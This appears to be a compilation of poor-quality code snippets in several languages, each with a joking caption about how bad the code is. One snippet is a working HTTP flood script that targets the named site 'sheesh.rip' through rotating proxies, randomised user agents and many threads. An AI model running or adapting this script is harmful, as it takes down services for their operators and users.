import cv2
import numpy as np
cap = cv2.VideoCapture(0)
while (1):
_, frame = cap.read()
hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)
lower_green = np.array([40, 50, 50])
upper_green = np.array([80, 102, 200])
# Threshold the HSV image to get only green colors
mask = cv2.inRange(hsv, lower_green, upper_green)
total_pixels = mask.shape[0] * mask.shape[1]
print "Number of pixels: %", total_pixels
pixel_counter = 0
x_counter = 0
y_counter = 0
for y in xrange(640):
for x in xrange(480):
pixel = mask[x, y]
if pixel == 255:
pixel_counter += 1
x_counter += x
y_counter += y
x_center = x_counter / pixel_counter
y_center = y_counter / pixel_counter
print x_center, y_center
cv2.line(frame, (x_center+15, y_center), (x_center+2, y_center), (235, 218, 100), 1)
cv2.line(frame, (x_center-15, y_center), (x_center-2, y_center), (235, 218, 100), 1)
cv2.line(frame, (x_center, y_center+15), (x_center, y_center+2), (235, 218, 100), 1)
cv2.line(frame, (x_center, y_center-15), (x_center, y_center-2), (235, 218, 100), 1)
cv2.circle(frame, (x_center, y_center), 4, (235, 218, 100), 2)
cv2.imshow('frame', frame)
k = cv2.waitKey(5) & 0xFF
if k == 27:
break
cv2.destroyAllWindows()
track the green color
#include <iostream>
#define OPEN_PARENTHESIS (
#define CLOSE_PARENTHESIS )
#define OPEN_BRACES {
#define CLOSE_BRACES }
#define INTEGER int
#define STANDARD_LIB std::
#define CONSOLE_OUT cout
#define ANGLE_BRACKETS <<
#define MESSAGE "Hello World\n"
#define SEMI ;
#define CLASS_NAME main
INTEGER CLASS_NAME OPEN_PARENTHESIS CLOSE_PARENTHESIS OPEN_BRACES
STANDARD_LIB CONSOLE_OUT ANGLE_BRACKETS MESSAGE SEMI
CLOSE_BRACES
Everything is defined
form = JSON.parse(JSON.stringify(this.mobilityDistanceForm.getRawValue()));
function IsAOrB(const p_Id: string): boolean;
begin
if ((p_Id = 'A') or (p_Id = 'B')) then begin
Result := true;
Exit;
end;
Result := false;
end;
Result := ((p_Id = 'A') or (p_Id = 'B'));
That would have been enough. But this also features Exit and an asymmetrical if.
@Pipe({ name: 'shortSex' })
export class SexPipe implements PipeTransform {
public transform(value: any): 'M' | 'K' {
switch (value?.code) {
case SexCodes.MALE:
return 'M';
case SexCodes.FEMALE:
return 'K';
default:
return null;
}
}
}
What can I say more?
precision mediump float;
uniform float time;
uniform vec2 resolution;
#define equals =
#define divided /
#define plus +
#define minus -
#define times *
#define by
#define point .
#define zero 0.
#define one 1.
#define five 5.
#define output gl_FragColor
#define then {
#define end }
#define less <
#define than
#define increment ++
#define afterwards ;
#define comma ,
#define semi .5
#define hundred 100.
void main ( void ) then
vec2 uv equals gl_FragCoord point xy divided by resolution point xy afterwards
float number equals sin( time plus uv point y ) afterwards
for ( float i equals zero afterwards i less than five afterwards increment i) then
number equals mod ( uv point x comma number ) afterwards
end
output equals vec4 (uv point x comma uv point y comma number times hundred comma one ) afterwards
end
class vggNet(nn.Module):
def __init__(self, pretrained=True):
super(vggNet, self).__init__()
self.net = models.vgg16(pretrained=True).features.eval()
def forward(self, x):
out = []
for i in range(len(self.net)):
#x = self.net[i](x)
x = self.net[i](x)
#if i in [3, 8, 15, 22, 29]:
#if i in [15]: #提取1,1/2,1/4的特征图
if i in [8,15,22]: #提取1,1/2,1/4,1/8,1/16
# print(self.net[i])
out.append(x)
return out
Some creepy feature extraction code I found attached to a research paper.
Features:
import httpx
import random
import threading
site = 'https://sheesh.rip/'
Proxfile = 'http.txt'
users = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 10.0; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 11.3; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (Android 11; Mobile; LG-M255; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:87.0) Gecko/87.0 Firefox/87.0',
'Mozilla/5.0 (Android 11; Mobile; rv:85.0) Gecko/85.0 Firefox/85.0'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4820.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.4.727 Yowser/2.5 Safari/537.36',
'Mozilla/5.0 (X11; CrOS x86_64 14268.67.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.111 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.50',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62'
]
def main():
Proxy = random.choice(list(open(Proxfile)))
proxies = {'http://': 'http://'+Proxy}
headers = {'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.5','user-agent':random.choice(users),'X-Requested-With': 'XMLHttpRequest'}
with httpx.Client(http2=True, headers=headers,proxies=proxies,timeout=10.0) as client:
while True:
try:
for y in range(50):
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
except:
pass
while 1:
print('attacking', site)
for i in range(50):
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
my eyes are bleeding
public static int[] sleepSort(int... args) {
final int[] sorted = new int[args.length];
final AtomicInteger index = new AtomicInteger(0);
List<Thread> threads = new ArrayList<Thread>(0);
for (int i = 0; i < args.length; i++) {
final int x = i;
Thread sorter = new Thread(() -> {
try {
Thread.sleep(args[x]);
} catch (InterruptedException ex) {
// shrug
}
sorted[index.getAndIncrement()] = args[x];
});
sorter.setDaemon(true);
sorter.start();
threads.add(sorter);
}
try {
for (Thread t : threads) { t.join(); }
} catch (InterruptedException e) {
e.printStackTrace();
}
return sorted;
}
Takes an unsorted array of integers, sorts by sleeping for the int value of each item in the array and then writing that into the resulting sorted array. Big-O analysis is... difficult.
const ITEM_COUNT = 100
let visibleItems = []
for (let i = 0; i < ITEM_COUNT; ++i) {
visibleItems.push(false)
}
function showItem(index) {
visibleItems = []
for (let i = 0; i < ITEM_COUNT; ++i) {
visibleItems.push(false)
}
visibleItems[index] = true
}
It was more or less like this. The guy had a collection of React components and wanted to show only one of them at a time. Instead of storing the index of the component to show at the moment, he decided that a boolean array would work much better. O(n) in runtime and space and null readability just because.
for (InformacionPagareServiceDTO aux : res_pon.getListaRespuesta()) {
String pattern_dic = "{\"Estdo\":\"%s\", \"Fecha Firma\":\"%s\", \"Fecha Grabacion\": \"%s\", \"ID Pagare\": \"%s\",\"Nombre Otorgante\": \"%s\",\"Tipo documento Otorgante\": \"%s\",\"Documento Otorgante\": \"%s\",\"Numero Pagare Entidad\": \"%s\",\"Pdf Pagare Nom\": \"%s\",\"Pdf Pagare Cont\": \"%s\"}";
if (aux.getPdfPagare() == null) {
if(dic_txt.equals("")) {
dic_txt = String.format(pattern_dic, aux.getEstadoPagare(), aux.getFechaFirmaPagare(), aux.getFechaGrabacionPagare(), aux.getIdPagareDeceval(), aux.getNombreOtorgante(), aux.getTipoDocumentoOtorgante(), aux.getNumeroDocumentoOtorgante(), aux.getNumPagareEntidad(), aux.getPdfPagare(), aux.getPdfPagare());
}else {
dic_txt += ","+String.format(pattern_dic, aux.getEstadoPagare(), aux.getFechaFirmaPagare(), aux.getFechaGrabacionPagare(), aux.getIdPagareDeceval(), aux.getNombreOtorgante(), aux.getTipoDocumentoOtorgante(), aux.getNumeroDocumentoOtorgante(), aux.getNumPagareEntidad(), aux.getPdfPagare(), aux.getPdfPagare());
}
}else {
if(dic_txt.equals("")) {
dic_txt = String.format(pattern_dic, aux.getEstadoPagare(), aux.getFechaFirmaPagare(), aux.getFechaGrabacionPagare(), aux.getIdPagareDeceval(), aux.getNombreOtorgante(), aux.getTipoDocumentoOtorgante(), aux.getNumeroDocumentoOtorgante(), aux.getNumPagareEntidad(), aux.getPdfPagare().getNombreArchivo(), aux.getPdfPagare().getContenido());
}else {
dic_txt += ","+String.format(pattern_dic, aux.getEstadoPagare(), aux.getFechaFirmaPagare(), aux.getFechaGrabacionPagare(), aux.getIdPagareDeceval(), aux.getNombreOtorgante(), aux.getTipoDocumentoOtorgante(), aux.getNumeroDocumentoOtorgante(), aux.getNumPagareEntidad(), aux.getPdfPagare().getNombreArchivo(), aux.getPdfPagare().getContenido());
}
}
}
Holy Shit
if (argv[1][0]=='D'){
demo=1;
argv[1]++;
}
if (argv[1][0]=='P'){
if (sscanf(argv[1], "P%ux%ux%ux%ux%lfx%ux%u"
,&temporal_resample
,&input_w, &input_h, &rate, &input_gamma
,&output_w
,&output_h)!=7){
fprintf(stderr,"%s: Invalid argument format\n", progname);
print_usage();
exit(3);
}
ppm=1;
}else{
if (sscanf(argv[1], "%ux%ux%ux%ux%lfx%ux%u"
,&temporal_resample
,&input_w
,&input_h
,&rate
,&input_gamma
,&output_w
,&output_h)!=7){
fprintf(stderr,"%s: Invalid argument format\n", progname);
print_usage();
exit(3);
}
Found in a chroma subsampling algorithm.
public function get($paymentType, $carrier, $gds, $clearingCompany, $allowDirectPayment)
{
AcqData::preload();
$carrier = strtoupper($carrier);
if($paymentType == 'cc') {
$gdsVal = $this->acqData->getGdsVal($gds);
if(!$allowDirectPayment ||
!$gdsVal ||
!isset($gdsVal['lr'], $gdsVal['direct'], $gdsVal['lr_commission_acq'], $gdsVal['direct_commission_acq'])
) {
$ccDefaultVal = $this->acqData->getPaymentTypeVal($paymentType);
return [[$ccDefaultVal, $ccDefaultVal], false];
}
$commission = $gdsVal['direct_commission_acq'];
$isDirect = $this->isDirect($carrier, $gds, $clearingCompany);
if(!$isDirect) {
$gdsVal['direct'] = $gdsVal['lr'];
$commission = $gdsVal['lr'];
}
return [
[$gdsVal['direct'], $commission],
$isDirect
];
}
$paymentTypeVal = $this->acqData->getPaymentTypeVal($paymentType);
return [
[$paymentTypeVal, $paymentTypeVal],
false
];
}
$ccDefaultVal = $this->acqData->getPaymentTypeVal($paymentType); is duplicated in two branches...
$partnerChargesRegular = $row['charges'];
$partnerChargesIrregular = $row['charges'];
if (!isset($partnerChargesIrregular) || $partnerChargesIrregular == "") {
$partnerChargesIrregular = $partnerChargesRegular;
}
Look. We take A from X and B from X. Then, you make a check, and if it is true you assing A to B. BUT A AND B ARE TAKEN FROM THE SAME X PLACE!!! HOW CAN THEY DIFFER?!?!!!?!?!?!?!!
public void updateCurrency() {
LOGGER.info("Update currencies");
var ok = false;
try {
getExchangeRatesMechanism(getExchangeRatesProcessor());
ok = true;
} catch (Exception exception) {
LOGGER.error(exception.getMessage(), exception);
}
if (ok) {
LOGGER.info("The currencies were updated successfully!");
}
}